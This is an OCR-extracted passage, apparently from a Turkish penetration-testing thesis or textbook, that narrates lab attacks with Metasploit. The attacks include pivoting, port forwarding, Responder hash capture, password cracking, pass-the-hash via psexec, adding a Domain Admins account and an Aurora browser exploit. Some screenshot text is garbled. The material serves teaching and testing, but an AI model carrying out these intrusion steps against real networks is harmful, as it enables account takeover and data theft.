olarak yiikseltildigi goriilmektedir. Biitlin MS’leri search komutu ile msf console {lizerinden
aramak zaman alacagindan daha pratik bir yol olan suggester komutu da ilgili exploitlerin arama
isleminde kullanilmaktadir. Suggester yetki yiikseltmek ic¢in kullanilan kernel exploitleri

sunmaktadir.
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Sekil 3.217. Suggester.
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Sekil 3.217.de goriilen suggester exploitleri ile de yetki yikseltme islemleri
gergeklestirilebilmektedir.

Msfconsole iizerinden pivoting islemi uygulamasi

Karmasik network yapilarinda zaman zaman erisim saglanamayan fakat sizilan makinenin
erigebildigi subnetlere rastlamak miimkiindiir. Boyle durumlarda yeni subnet ve yeni hedefler
bulmak i¢in istekler sizilan makine {izerinden yonlendirilmektedir. Bu tarz islemlere Pivoting
islemleri denilmektedir. Bu boliimde bir senaryo dahilinde hedef sistem iizerinde bir meterpreter
oturum elde edildigi varsayilmistir. Elde edilen meterpreter oturumunda ipconfig komutu ile

gerekli bilgiler alindiginda iki farkli interface yakalamak miimkiindiir.
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Sekil 3.218. Meterpreter oturum tizerindeki interfaceler.

Sekil 3.218.’de Kali Linux cihazinin 88’li interfacele iletisim kurabildigi fakat 89’Iu interfacele
herhangi bir iletisim kurulamadig1 goriilmektedir. Fakat meterpreter iizerinde 89’lu interface de
tespit edilmistir. Eger 89°1u bir interface mevcutsa bu interface ile iletisime gecebilecek araclar
da mevcuttur. Penetrasyon testi geregi iletisimi saglayacak araglarin giivenliginin de test
edilmesi gerekmektedir. Bu amagla yapilacak istekler meterpreter oturum iizerinden
gecirilecektir. Pivoting islemleri icin metasploit iizerinde birden cok modiil mevcuttur. ilgili

modiil “search autoroute” komutu ile aranabilmektedir.

Sekil 3.219. Search autoroute.
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Sekil 3.219.’da tespit edilen exploit opsiyonlar1 ayarlandiktan sonra ve somiirii baglatildiginda

elde edilen sonug asagida goriildiigi gibi olacaktir.
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Sekil 3.220. Autoroute exploitinin ¢alismasi.

Sekil 3.220.’de Kali iizerinden gonderilen istekler meterpreter tizerinden gegirilerek 89 numarali
interface tespiti gerceklestirilmistir. 89 numarali interface Kali tarafindan da tespit edildikten
sonra bu subnet iizerindeki cihazlarin tespiti de gerceklestirilebilmektedir. Bu islem i¢in de

metasploit {izerinde ¢esitli modiiller mevcuttur. Bu modiillerden bir tanesi de arp modiiliidiir.

! ) | = 08 LU/ Rt SRR ITE S
! aanililiaryl | = sptism

kil spliise fmuniidary/vaseemt rEi2sswery /079 semzy )
"ose LArrent Sellilmyg Pemnirst Descriptimm

INTENr Ry e v of Y 10T

sTs The fargef adsrwss raoge &1 CODW jdexiffier
el NTAR EF Adurees

Al Seeddd NAL Adtrenn

()T T : e maser 2f tsncsrTest thresdl

T e s af swcorsts Te wi1Y Tar e it

AT LSS YT s Y i

MOGTS == 1IN ZBD.BR. LU
21l sanllsany) Mt Tl Y
T™MILARS ™

! saxiliaryl Tu

ol ERZ.000.0.02 sppamrs 12 e iy (Ware, .|
Sl RNL A0 B 0 BT BB M W O,

Sekil 3.221. Cihaz tespiti i¢in kullanilan arp modiilii.
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Sekil 3.221.’de kullanilan “arp sweep” auxiliary sonucunda ilgili modiil hedef sistem iizerine
arp sistemleri atarak ilgili cihazlarin tespitini gerceklestirmektedir. Yeni bulunan cihaz IP’si

kullanilarak port tarama islemleri i¢in de search port scan komutu kullanmak miimkiindiir.
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Sekil 3.222. Port taramasi i¢in kullanilan modiil.

Sekil 3.222.”deki tarama islemi sonucunda ilgili cihaz lizerindeki agik portlar asagida goriildiigii

gibi tespit edilmistir.
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Sekil 3.223. Acik portlarin tespit edilmesi

Sekil 3.223.°de 192.168.89.3 olarak yeni tespit edilen cihaz iizerinde 135 ve 139 numarali
portlarin acik oldugu goriilmektedir. Pivoting islemlerinden sonra ilgili cihazla Kali linux
arasindaki iletisim saglanmistir. Bu islemler sonucunda elde edilen yeni cihaz {iizerinde

MS17 010 zafiyeti kullanilarak bir somiirii islemi gerceklestirilebilmekte ve tespit edilen bu
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yeni cihaz iizerinde de bir komut satir1 elde etmek miimkiindiir. Béylece Kali Linux tarafindan
tespit edilemeyen fakat meterpreter araciligryla tespit edilmis bir interface kullanilarak Pivoting
islemi gercgeklestirilmistir bunun sonucunda elde edilen cihaz IP’si somiiriilerek bu cihaz

tizerinden de oturum saglanmustir.

TCP relay

Pentest iglemlerinde sizilan cihazlarin yalnizca lokal alanda ¢alistirdig1 baz1 servisler mevcuttur.
Eger bu servislerin nasil somiiriilecegine dair bilgiler mevcutsa veya servislerin credential gibi
giris bilgileri mevcutsa TCP Relay yontemi uygulanarak ilgili servise disaridan erigim
saglanmaktadir ve somiirii islemleri gerceklestirilmektedir. Bu bdliimde bir senaryo dahilinde
hedef sistem iizerinden bir meterpreter oturum elde edildigi varsayilmistir. Iipconfig ve netstat —
ant komutlar1 ile [P bilgilerini ve port, servis bilgilerini elde etmek miimkiindiir. Elde edilen
portlar arasinda sql server servisinin 1433 portu mevcuttur. Normal sartlarda bu servis lokalde
calisan bir servis oldugundan disaridan 1433 portuna erisim saglanamamaktadir. Bu servise
erisebilmek i¢in meterpreter {izerinde bulunan portfwd modiilii kullanilmaktadir. Bu modiil tcp
relay diizenlemek igin olusturulmustur. Portfwd modiilii lokal cihazdan porta giden bir istegi

baglanti lizerinden tiinelleyip hedef cihaz tizerindeki porta yonlendirmektedir.

Sekil 3.224. Portfwd modiilii.

Sekil 3.224.’de portfwd modiilii kullanilarak lokal port olan 1433 portundaki tiinellenmis ve
10.0.0.6 ip numarali cihazin 1433 numarali portuna yonlendirilmistir. Bu islem sonucunda ilgili
servise metasploit exploitleri kullanilarak saldirmak miimkiin hale gelmistir. Somiirii islemi i¢in
herhangi bir giris bilgisi mevcut degilse mssql servisi lizerine gerceklestirilecek bir brute force
(kaba kuvvet) saldiris1 ile girig bilgisi elde etmek miimkiindiir. Eger giris bilgisi mevcutsa bu
isleme gerek yoktur. Mssql exec modiilii kullanilarak baglanti tiinelleme islemi

gercgeklestirilmistir.
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Sekil 3.225. Mssql_exec auxiliary modiilil.

Sekil 3.225.°de “mssql exec” auxiliary modiilii kullanilarak hedef sistem {izerinde bir komut
satir1 elde edilmeye ve tiinelleme islemi yapilmaya c¢alisilmistir. RHOST ve RPORT bilgileri
lokal IP adresi ve lokal port olarak verilmistir. Lokal port iizerinden gegen isteklerin tiinelleme
islemi ile hedef sistem {izerine yonlendirilmesi saglanmistir. Hedef sistem iizerinde “Ipconfig”
komutu g¢alistiginda ve komut satir1 elde edildiginde 127.0.0.1 lokal IP adresi portuna giden

istekler 10.0.0.6 cihaz1 {izerinden gegecektir.

Domain Ele Gecirme Ornegi

Bu béliimde bir domain ele gecirme 6rnegi gergeklestirilmistir. Senaryo dahilinde bir kuruma
sizma testi gerceklestirilecegi varsayilmistir ve kurum igerisindeki cihazlarla iletisim kurma
imkan1 saglayan bir kablosuz baglanti veya kablolu baglant1 verilmistir veya kablosuz ag sizma
testleri sonucunda bir baglanti elde edildigi varsayilmustir. Ik yapilacak islem ifconfig komutu
ile Kali cihazinin IP adresini 6grenmek ve nmap taramasi sonucunda aymi ag iizerindeki

cihazlarm tespitini saglamaktir.
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Sekil 3.226. Nmap ile cihaz saptanmasi
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Sekil 3.226.’da kali disinda ag {iizerinde 4 makine mevcut oldugu goriilmektedir. Saldirt

yapabilmek amaciyla bu makine iizerinde ¢alisan servislerin de saptanmasi gerekmektedir.

Sekil 3.227. Cihazlar lizerindeki servislerin saptanmasi.

Sekil 3.227.’de nmap ile ilgili cihaz IP’leri {izerinde calisan servisler taranirken bir yandan
responder aract da “responder —I eth0 —w —r —f” komutu ile aktif hale getirilmistir. Bu islem
tarama bitmeden sistemler {izerinde bos bir istek atilirsa responder aracinin bir kullanici hashi

elde etmesi amaciyla gerceklestirilmistir.
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Sekil 3.228. Responder araci hash yakalamasi.

Sekil 3.228.’de nmap servis tarama islemi sonlanmadan 10.0.0.6 cihazi {izerinden atilan bos bir
istek yakalanmis ve kullanict hash bilgisi elde edilmistir. Elde edilen bu hash bilgisi masa
istiine hash dosyasi icerisine kaydedilmistir. 10.0.0.6 cihaz1 {izerinde bulunan kullanici hash
bilgisi elde edildikten sonra nmap tarama sonuclarina bakildiginda asagida goriildiigii gibi
10.0.0.6 cihaz1 lizerinde bir sqlserver tespit edilmistir. Eger bu sunucudan sql user giris bilgisi

elde edilirse birinci senaryo olarak bu cihaz iizerinden bir shell almak miimkiin olacaktir.
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Sekil 3.229. Nmap tarama sonuglari 1.

Sekil 3.230. Nmap tarama sonuglar1 2.

Sekil 3.229. ve 3.230.’da 10.0.0.8 cihazi iizerinde bir http api web uygulamasi ¢alistig1 tespit
edilmistir. Eger tespit edilen uygulamanin kullandigi bir veritabani varsa ve veri tabani 10.0.0.6
ise ikinci senaryo olarak bu veri tabani girig bilgileri elde edilebilmektedir. Bu sayede 10.0.0.6

tizerinden bir oturum elde edilirse 10.0.0.6 cihazina da sigrama gerceklestirilebilmektedir.
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Sekil 3.231. Nmap tarama sonucu.

Sekil 3.231.’de 10.0.0.19 IP’li cihazin Windows 7 makinesi oldugu tespit edilmistir. Bu
makinede MS17 10 zafiyeti mevcut olabilir. Eger bu zafiyet mevcutsa {iglincii senaryo olarak
bu zafiyet somiiriilerek buradan bir baglant1 saglamak miimkiin olabilmektedir. 10.0.0.27 IP
numarali cihazin ise domain controller cihazi oldugu tespit edilmistir. Zaten kurulan
senaryolardaki amag bu cihazi ele gecirmektir. Responder araci ile elde edilen hash bilgisi john
araci ile kirilmis ve bir kullanici giris bilgisi elde edilmistir. Kullanici adi muho.sisman parola

ise Password| olarak tespit edilmistir.

Sekil 3.232. John ile parola eldesi.

Sekil 3.232.’de goriilen islem gerceklestirildikten sonra yapilacak iglem elde edilen kullanicinin
admin olarak bulundugu bir cihaz olup olmadigim ya da dogrudan domain admin olup
olmadigimi kontrol etmektir. Bu islem i¢in daha onceden de kullanilmig olan smb_login
auxiliarysi kullanilabilmektedir. Ilgili auxiliary kullanimi ve opsiyon ayarlar1 daha 6nceki

boliimlerde uygulamalarla gosterilmistir.
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Sekil 3.233. Auxiliary sonucu.

Sekil 3.233."de ilgili auxiliarynin tamamlanmasindan sonra elde edilen kullanicinin bir domain
kullanicist olmasindan dolayr domaine dahil cihazlar {izerinde giris yapabildigi fakat hicbir
cihaz tlizerinde admin yetkilerine sahip olmadigi tespit edilmistir. Bu durumda elde edilen
kullanici admin yetkisinde olmadigindan birinci senaryo isleme konulacaktir. Birinci senaryo
dahilinde john ile elde edilen kullanici araciligryla rdesktop protokolii kullanilarak http api web
uygulamasini kullanan 10.0.0.8 cihazi {izerinde bir oturum acilmistir (rdesktop 10.0.0.8) ve web
konfigilirasyon dosyalar1 kontrol edilmistir. Bu islemlerin sonucunda bir web config dosyasina
erisilmistir. Windows sitemlerin hepsinde wwwroot dosyast mevcuttur ve web konfigiirasyon

dosyalar1 bu dosyanin igerisinde bulunmaktadir.
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Sekil 3.234. 10.0.0.8 cihaz1 web config dosyasi.
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Sekil 3.234.°de goriilen konfigiirasyon dosyasina erisme amaci bu dosya igerisinde bulunan
bilgilerdir. Web konfigiirasyon dosyalar1 hata mesajlarinin nereye yonlendirilecegi ayni anda
kac tane baglant1 alinabilecegi gibi konfigiirasyon bilgilerini barindirirken eger bir veri tabani
baglantis1 mevcutsa connection string etiketleri altinda ilgili veri tabani baglantisi ile ilgili giris

bilgilerini igeren bir dosyadir.
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Sekil 3.235. Connection string taginde bulunan sql giris bilgileri.

Sekil 3.235.”de goriildiigii gibi connection string taginde 10.0.0.6 IP adresli cihaz {izerinde bir
sql server giris bilgisi elde edilmistir. Kullanici adi sa ve parolasi sal234 olarak goriilmektedir.
Elde edilen bilgilerle ilgili cihaz {izerinde mssql _exec auxiliary’si ile bir komut satir1 elde

edilmeye calisilmstir.

Sekil 3.236. Komut satir1 elde etme.

Sekil 3.236.’da goriilen auxiliary opsiyon ayarlari tamamlandiktan ve c¢alistirildiktan sonra
10.0.0.6 cihaz1 {izerinde bir ipconfig komut satir1 elde edilmistir. Bu durum web konfigiirasyon
dosyasi igerisindeki giris bilgilerinin dogru oldugu anlamina gelmektedir. Elde edilen oturumda

kullanicinin hangi yetkilere sahip oldugu tespit edilebilmektedir.
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Sekil 3.237. Kullanic1 yetkisi kontrol etme.

Sekil 3.237.’de elde edilen oturumun 10.0.0.6 cihazi {izerinde Admin yetkilerinde bulundugu
goriilmektedir. Bu kullanict admin bilgileri kullanilarak 10.0.0.6 cihazi iizerinde bir meterpreter
oturumu elde etmek ve buradaki lokal kullanici bilgilerine erismek miimkiindiir anlamina
gelmektedir. Bunun igin metasploit {izerinde mssql_payload modiilii kullanilmugtir. ilgili modiil
kullanimi 6nceki bolimlerde uygulamalarla gergeklestirilmistir. Bu auxiliary modiilii ile elde
edilen meterpreter oturumu iizerinde hashdump komutu kullanilarak lokal kullanici bilgileri
elde edilmistir. Bu lokal kullanicilar baska cihazlar iizerinde de kullanilmaktaysa LM NTLM
hash’ler ile pass the hash saldirilar1 gerceklestirilebilmektedir.

Sekil 3.238. Hashdump.

Sekil 3.238.’de goziiken lokal kullanicilar arasinda Administrator kullanici hesabinin hash
bilgisi elde edilmistir. Bu kullanicinin lokal ag tizerinde hangi cihazlarda bulundugunu

saptamak i¢in smb_login auxiliary’si kullanilmistir.
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Sekil 3.239. Smb_login auxiliarysi 1.

Sekil 3.240. Smb_login Auxiliarysi 2.

Sekil 3.239. ve 3.240.’da goriildiigi gibi ilgili modiil ¢alistirildiginda 10.0.0.19 cihazi {izerinde
de bu kullanicinin admin yetkilerinde bulundugu goriilmektedir. Kurum igerisinde sistemleri
kuran kisiler hep aym kisiler oldugu icin aym lokal kullaniciy1 birden fazla cihaz iizerinde
tanimlayabilmektedir. Bu durum bir kullaniciyla baska cihazlara erisim yapabilme zafiyetini
dogurmaktadir. Elde edilen bu bilgiler dogrultusunda 10.0.0.19 cihazina psexec veya winexe
modiilleri ile baglanilabilecegi sonucu ¢ikarilmaktadir. 10.0.0.19 cihazi psexec modiilii ile Sekil

3.241.’da gorildigi gibi somiiriilerek bir meterpreter oturumu elde edilmistir.

Sekil 3.241. Psexec auxiliarysi.
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Psexec modiilii ile 10.0.0.19 cihaz {izerinde elde edilen meterpreter oturum bilgilerine sysinfo

ile bakildiginda admin yetkilerine sahip oldugu goriilmektedir.

Sekil 3.242. Meterpreter sistem bilgileri.

Sekil 3.242.’de gortildiigii gibi hedef sistem mimarisi ile meterpreter oturum mimarisi farklidir.
Bu durum bazi islemlerin yapilmasini engellediginden daha onceki boliimlerde gosterildigi gibi
migrate islemi gerceklestirilmistir. Ps komutu ile oturum iizerinde bulunan x64 mimarili ve

admin yetkili bir islem tespit edilip bu isleme migrate komutu ile gecis saglanabilmektedir.

Sekil 3.243. Ps komut sonugclari.

Sekil 3.243.’de oturum tlizerinde PENTESTO Domain etki alaninda DA isimli bir kullanict
bulundugu goriilmektedir. Bu kullanici Domain Admin yetkilerine sahip bir kullanicidir.
Oncelikle onemli sistemleri kapatma riskini almamak adma vmtools islemi {izerine migrate
gerceklestirilmistir. Burada bir DA kullanicist tespit edildigi icin bu kullanici bilgileriyle
domain ele gecirmek miimkiindiir. Fakat islem sayfasinda bir DA kullanicist tespit edilmeseydi
elde edilen muho.sisman kullanict bilgileri ile metasploit iizerindeki modiiller yardimiyla da
domain ele gegirme islemi gerceklestirilebilirdi. Ilgili metasploit modiillerine search domain

komutu ile ulagmak miimkiindiir. Fakat suan i¢in bu isleme gerek duyulmamaktir. Migrate
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isleminden sonra elde edilen oturum Domain Admin yetkilerine sahipse bu yetkilerle sistem
iizerinde bir kullanici ekleme islemi gergeklestirilebilmektedir. Kullanici ekleme islemi bagarilt

bir sekilde tamamlandiginda domain ele gegirilmis demektir.

Sekil 3.244. Kullanic1 hesab1 ekleme.

Sekil 3.244.°de shell komut satirina diisiilerek ve Domain Admin yetkileri kullanilarak sistem
tizerine bir kullanict ekleme islemi basariyla gerceklestirilmistir. Bu kullaniciya kullanict
ekleme yetkisi tanimlanmisg olabilir. Tam olarak emin olmak i¢in domain admins grubuna da bir

kullanict ekleme islemi gerceklestirilmistir.

Sekil 3.245. Domain admins grubuna kullanict ekleme.

Sekil 3.245.°de goriildiigi gibi Domain Admins grubuna kullanici ekleme islemi de basariyla
gerceklestirilmistir. Bu durum elde edilen oturumun Domain Admin yetkilerine sahip oldugu ve
bir domainin ele gegirildigi anlamia gelmektedir. Elde edilen Domain Admin kullanicisi ile
10.0.0.27 Domain Controller cihazina erisim saglamak miimkiindiir. Bu islem smb_psexec
modiilii ile gergeklestirilebilmektedir. Psexec modiilii ile Domain Controller cihazi iizerinde bir
meterpreter elde edildikten sonra Sekil 3.246.°da goriildiigii gibi “hashdump” komutu ile
Domain etki alani igerisinde bulunan tim lokal kullanicilarmm hash bilgilerine erismek

mumkinddr.



214

Sekil 3.246. Lokal kullanici hash bilgileri.

3.3.3. Parola saldirilar:

Parolalar genellikle penetrasyon testi etkilesimlerine en az direng gdsteren yoldur. Giiglii bir
giivenlik programina sahip bir istemci eksik windows yamalarini ve giincelligini yitirmis
windows yazilimlarii diizeltebilmektedir. Ancak kullanicilar kendilerine diizeltme yamalari
ekleyememektedir. Bu da parola saldirilarinin kolay bir sekilde gergeklestirilmesine imkan
vermektedir. Daha Onceki boliimlerde bircok parola saldir1 senaryosu incelenmis olsa da bu
bolimde parola saldirilart siniflandirma agisindan saldirt yontemlerini daha iyi kavramak

amaciyla ayrica ele alinmstir.

Parola yonetimi

Gunimizde sirketler sifre bazli kimlik dogrulama islemlerinin dogurdugu risklerin farkindadir.
Kaba kuvvet saldirilar1 ve egitimli ve tahminler sifreler i¢in ciddi risk tasimaktadir. Birgok
kurulus bu riskleri azaltmak amaciyla biyometrik (parmak izi, retina taramasi) veya iki faktorli
kimlik dogrulamasi kullanmaktadir. Gmail ve dropbox gibi web servisleri bile kullanicinin bir
elektronik belirte¢ iizerinde bulunan rakamlara benzer ikinci bir degerin yani sira bir sifreye
sahip oldugu iki faktorlii bir kimlik dogrulama islemi sunmaktadir. ki faktorlii kimlik
dogrulama islemi miimkiin degilse giivenlik icin giiclii parolalar kullanilmasi gerekmektedir.
Aksi takdirde saldirgan ile kullaniciya ait hassas veriler arasinda kalan veriler bir komut satirt
ile aciga cikabilmektedir. Gili¢lii parolalar uzun, karmasik karakterler igeren ve bir sozlik

kelimesine dayanmayan parolalardir (Timugin v.d., 2011).

Cesitli kuruluslar giivenlik amaciyla kullanicilart giiglii parolalara zorlayabilir fakat sifreler
zorlastikca hafizada kalmasi da zorlasacaktir. Bu nedenle kullanicilar akilli telefonlarinda,

bilgisayarlarinda ya da post it notlarinda bu sifreleri saklama ihtiyaci duyabilmektedirler. Bu
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sifrelere erisim saglanmasi da bir risk icermektedir. Sifre secimindeki bir baska risk te ayni
sifreyi birden fazla site i¢cin kullanmaktir. Kurumsal bir firmadaki CEO i¢in belirlenmis web
sitesi sifresi finansal verilere erisen dosya sifresiyle ayni olabilmektedir. Bu tiir durumlarda
saldirgan tek bir sifreyle birgok veriye erisim saglayabilmektedir. Parola tabanli kimlik
dogrulamasi tamamen bagka bir model lehine sona ermedigi siirece parola yonetimi konusu BT
personelleri i¢in zorlu bir problem olmaya ve saldirganlar i¢in verimli bir yol olmaya devam

edecektir.

Cevrim ici parola saldirilar:

Givenlik aciklarini tespit etmek i¢in otomatik tarama araglari kullanildigi gibi galisan servislere
veya hizmetlere otomatik giris yapabilmek amaciyla da komut dosyalar1 kullanilabilmektedir.
Bu boliimde hedef sunucularda basarili bir giris elde edilinceye kadar ¢evrim igi saldirilart
otomatiklestirmek veya parola tahmin etmek i¢in tasarlanmis araglar kullanilacaktir. Bu araglar
teknik olarak kaba kuvvet saldir1 araclari olarak adlandirilmaktadir ve gecgerli bir parola ve
kullanict sifresi elde edilinceye kadar kaba kuvvet saldirilarin1 denemeye devam eder. Kaba
kuvvet saldirilarinin dezavantaji giiclii parolalar1 kirmak i¢in ¢ok fazla zamana ihtiyag

duymasidir.
Wordlistler

Kaba kuvvet saldir1 araglart saldiriy1 gergeklestirirken sifre ve kullanicilari tahmin etmek igin
icerisinde egitimli kullanict ve sifre tahminleri bulunduran wordlistlere ihtiya¢ duymaktadir.
Wordlist’ler kullanic1 ve parola wordlist’leri olarak incelenebilmektedir. Bir kullanici listesi
olusturulurken 6nce miisteri kullanici semasi ¢ikarilmalidir. Ornegin e-posta hesaplari ele
gecirilmeye calisiyorsa kullanict e-posta sekilleri sadece soy isim mi, isim mi yoksa farkli bir
sekilde mi tahmin etmeye calisilmalidir. Hedef sistem iizerindeki gercek calisan isimlerini

bilmek bu konuda oldukea kolaylik saglayacaktir.
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Sekil 3.247. Userlist.

Sekil 3.247.°de ornek bir kullanicr listesi olusturulmugtur. Ayni kullanici listesi gibi parola
listesi olugturmak ta miimkiindiir. Hazir parola listelerine internetten ulagilabilmektedir. Ancak
parola ve kullanici listeleri uzadikc¢a kaba kuvvet saldirt siiresi de uzayacagindan bu ¢aligmada

ornek olarak kisa kullanici ve parola listeleri kullanilmistir.

: X Cat Wordlist
AGnLT
snistlrator
an
waninistratol
IsSSHOrt
MoTd
sewiirglz2s
‘assvord
SSwdla3

BSSNOTR 12

assworall

Sekil 3.248. Parola listesi

Sekil 3.248.’de ornek bir parola listesi olusturulmustur. Daha iyi sonuglara ulagsmak amaciyla
kelime listeleri bir hedef i¢in 6zellestirilmelidir. Bilgiye dayali egitimli tahminler yapilmalidir.
Ornegin calisanlar hakkinda bilgi toplamak ve buna gore bir kelime listesi olusturmak
gereklidir. Bu egitimli ve bilgiye dayali tahminlerin disinda 6zel kelime {iretici araclar1 (ceWL)

ile de kelime listesi olusturmak miimkiindiir.
Misafir kullanicilar ve hydra ile parola elde etme

Giris gerektiren ve calisan bir hizmet lizerinde kaba kuvvet saldirist gergeklestirilmek
istendiginde bir dizi kimlik bilgisi mevcutsa, bu bilgiler tek tek elle denenebilir veya islemi

otomatiklestiren bir ara¢ kullanilabilir. Daha dnceki boliimlerde gosterildigi gibi Hydra kaba
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kuvvet saldirilarinda calisan hizmetlerin kullanict adlarimi ve sifrelerini test etmek icin

kullanilan ¢evrim i¢i bir tahmin aracidir.

Ayden

ed Cracking protedt

Sekil 3.249. Hydra.

Sekil 3.249.°da 192.168.92.136 numarali IP {izerinde ¢alisan pop3 servisine wordlist

kullanilarak Hydra araci ile bir kaba kuvvet saldiris1 gergeklestirilmistir.

Cevrim disi parola saldirilar

Sifre kirmanin bir baska yolu parola hash’lerinin bir kopyasimi almak ve bunlar1 diiz metin
parolalarina ¢evirmeye calismaktir. Bu islemi yapmak kolaydir ¢linkii hash’ler tek yonlii hash
fonksiyonunun bir iiriinii olacak sekilde tasarlanmistir. Bir girdi verildiginde hash fonksiyonu
kullanilarak ¢ikt1 hesaplanabilmektedir ancak girdiyi giivenilir bir sekilde belirlemenin bir yolu
yoktur. Bu nedenle bir hash tehlikeye girerse diiz metin sifresini hesaplamanin bir yolu yoktur.
Bir parola tahmin edilerek bu parola tek yonlii hash islevi ile birlestirilebilir ve sonuglar bilinen
hash ile karsilastirilir. Eger eslesme saglanirsa hash kirtlmis olur. Diiz metin sifrelerine erismek
ve sifrelemeyi tersine cevirme probleminden kurtulmak daha iyi bir yoldur. Ancak siklikla
karsilasilan parolalarin karistirilma riski vardir. Bir program konfigiirasyon dosyasi, veri tabani
veya sifrelerini diiz metin i¢inde saklayan baska bir dosya bulmak hash bilgisi elde etmekten
daha iyi bir yoldur. Ancak hash kirilmadan 6nce bu dosyalarin bulunmasi gerekmektedir. Daha
onceki boliimlerde uygulamali olarak hushdump komutu ile Windows sistemler {izerinden hash
bilgisi alma islemleri uygulanmistir. Elde edilen hash bilgilerini kirmak i¢in LM ve NTLM hash
algoritmalar1 ve Johntheripper araci kullanilmaktadir. LM ve NTLM Hash algoritmalari ile sifre
kirma iglemi Man In The Middle (Orta Adam) Saldirilar1 bdliimiinde uygulamalarla

gosterilmistir.
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rocteeall’ johv xpharhes . txt

Marming: detected Motk type “In", Out the string 1% alss recogmized as “mt”
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Sekil 3.250. Johntheripper (Weidman, 2014).

Sekil 3.250.’de Johntheripper araci 7 karakterlik hash degerini kirmigtir. Burada PASSWOR’un
secret kullanicisinin sifresinin ilk yarist ve Georgia ve Administrator kullanicilarinin sifrelerinin
de ilk yaris1 oldugu goriilmektedir. Secret kullanicist ig¢in parolanin ikinci yarist D123 ve
Georgia ve Administrator kullanicilar1 i¢in D oldugu goriilmektedir. Bu nedenle LM hash
sifrelerinin tam metni Georgia ve Administrator kullanicilart igin PASSWORD, secret
kullanicist i¢in ise PASSWORD123 oldugu goriilmektedir. Fakat Johntheripper araci ile alinan
kullanict hesaplarn ve sifrelerle giris yapilmasi denenirse bir giris hatasi alinabilmektedir. Ciinkii
Johntheripper sifrelerin tam olarak dogru halini sunmamaktadir. Tam olarak bir giris elde
edilmek istenirse NTLM hash degerinin dordiincii alanina bakilmasi gerekmektedir. Burada
Johntheripper aract NTLM hash’lerinin de bulundugunu belirtmistir. Johntheripper aracini bu
hash’leri kullanmaya zorlamak icin nt etiketi kullanilabilir. Windows 7 isletim sistemlerinde
LM hash’leri bulunmamaktadir. NTLM hash’leri ile sifre kirilmaya kalkildiginda ise bu islem
¢ok uzun siirecektir. Bu nedenle Windows 7 sifrelerini kelime listeleri ile kirmak daha
faydalidir. Windows NTLM hash’lerini kirmak LM hash’lerini kirmak kadar kolay degildir. Her
ne kadar sadece kii¢iik harfleri kullanan ve baska bir karmagiklig1 olmayan bes karakterlik bir
NTLM hash sifresi LM hash sifresi kadar hizli bir sekilde kirilsa da karmasiklig yiiksek olan ve
30 karakter iceren bir NTLM hash sifresinin kirilmas: yillar siirebilmektedir. Herhangi bir
uzunluktaki miimkiin olan her karakter kombinasyonunu denemek, bunu degerlemek ve bir
degerle karsilastirmak dogru degere rastlayabilmek icin sonsuza kadar devam edebilmektedir.
Bu nedenle ozellikle Windows 7 sistemlerde NTLM hash’lerini kullanmak yerine kelime

listeleri ile kaba kuvvet saldirilar gergeklestirmek gerekmektedir.

3.3.4. Kullanic1 tarafl saldirilar

Daha onceki boliimlerde hangi servislerin dinlendigini bulmak i¢in hedef sistem tizerinde
taramalar yapilmis ve FTP, SMB ve web sunucular1 gibi hizmetlerin dinlendigi portlar

tizerinden giivenlik aciklart sOmiiriilerek islemler yapilmisti. Fakat pentest aracglar
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calistirilmaya, manuel analizlerin performanslar1 degerlendirilmeye ve arastirilmaya baglaninca
hedef sistemlerde sinirlt sayida sorun birakincaya kadar somiirii olanaklar1 dereceli bir sekilde
azalmaktadir. Bu sinirli sayidaki sorunlar sunucu tarafinda olan ve baglanti noktalarii dinleyen
servisler olmaktadir. Burada eksik olunan sey, istemci tarafinda herhangi bir baglant1 noktasini
dinlemeyen ve gilivenlik ag¢ig1 bulunan herhangi bir yazilimdir. Web tarayicilari, belge
goriintiileyicileri, miizik calarlar v.b. gibi yazilimlar web sunuculari, posta sunucular1 ve diger
ag tabanli tim programlarla birlikte ayn1 sorunlara maruz kalmaktadir. Elbette kullanici
(istemci) tarafi ag iizerinde dinlenmediginden dogrudan saldir1 gergeklestirilemez fakat
prensipte olarak diger saldirilarla aynidir. Bir giivenlik agigimi tetiklemek i¢in bir programa
beklenmeyen bir girdi gonderilirse sunucu tarafli programlardan yararlanilabildigi gibi istemci
tarafli programlardan da yararlanilabilmektedir. Istemci tarafindaki programlara ag iizerinden
dogrudan bir girdi gonderilemedigi i¢in istemci (kullanici) tarafindaki bir kullanict kotii amagh
bir dosya agmaya tesvik edilmelidir. Giivenlik glinimiizde 6nemli bir hale geldiginden ve
sunucu tarafindaki gilivenlik aciklarinin internete doniik bir bakis acisiyla bulunmasi
zorlagtigindan kullanict (istemci) tarafli saldirlar dikkatli bir sekilde korunan i¢ aglara bile
erisim saglamada 6nemli bir anahtar rolii oynamaktadir. Istemci (kullanici) tarafli saldirilar
internet tarafli ip adresi olmayan is istasyonlar1 veya mobil cihazlar i¢in ideal bir yontemdir. Ne
yazik ki bu saldirilar kullanicinin kotii amaglt bir yazilimi ¢alistirmasina veya kotii amaglt bir

dosyay1 agmasina bagli olarak gerceklestirilmektedir.

Taravici somiiriileri

Web tarayicilari, web sayfalarmi goriintiileyen kodlardan olusmaktadir. Tipki hatali
bicimlendirilmis bir girdinin sunucuya gonderildigi gibi bir giivenlik sorununu tetiklemek i¢in
kotii amagh kod igeren bir web sayfasi acilirsa tarayicida gizli bir sekilde payload yiiriitmek
miimkiin olmaktadir. En yaygin web tarayicilar1 bile giivenlik sorunlarina maruz kalmiglardir.
Herhangi bir kullanicinin kotii niyetli bir web sayfasini agmasi ve Aurora isimli giivenlik agigini
tetiklemesi i¢in kandirtlmasi durumunda tamamen giincellenmis ve yamalar1 tam olan bir
internet explorer siiriimii bile tehlikeye girebilmektedir. Microsoft internet explorer i¢cin yamalar
yaymlamigtir fakat kullanicilarin tarayicilarini giincellestirmelerini géz ardi etmeleri sonucunda
Windows XP hedef cihazina yiiklenen Internet Explorer siiriimii Aurora istismarina karsi
korunmasiz hale gelmektedir. Bu bolimde Aurora metasploit modiilii bulunarak giivenlik acig1

bulunan bir tarayiciya saldirt gergeklestirilmistir.
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Sekil 3.252. Aurora exploiti 2.
Sekil 3.251. ve 3.252.’de goriildiigii gibi arka planda bir web sunucusu baslatilmistir. Artik koti

amach siteye goz atmak icin Windows XP cihazi iizerindeki internet explorer kullanilarak

zararli siteye girig yapilmustir.

NS enplolt

N lng NSID-

Sekil 3.253. Zararl siteye giris.

Windows XP iizerinden zararhi siteye giris yapildiginda Sekil 3.253.’de goriildiigii gibi Kali

Linux bu girisi yakalayacak ve bir hedef sistemden bir meterpreter oturum alinmustir.
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PDF somiiriileri

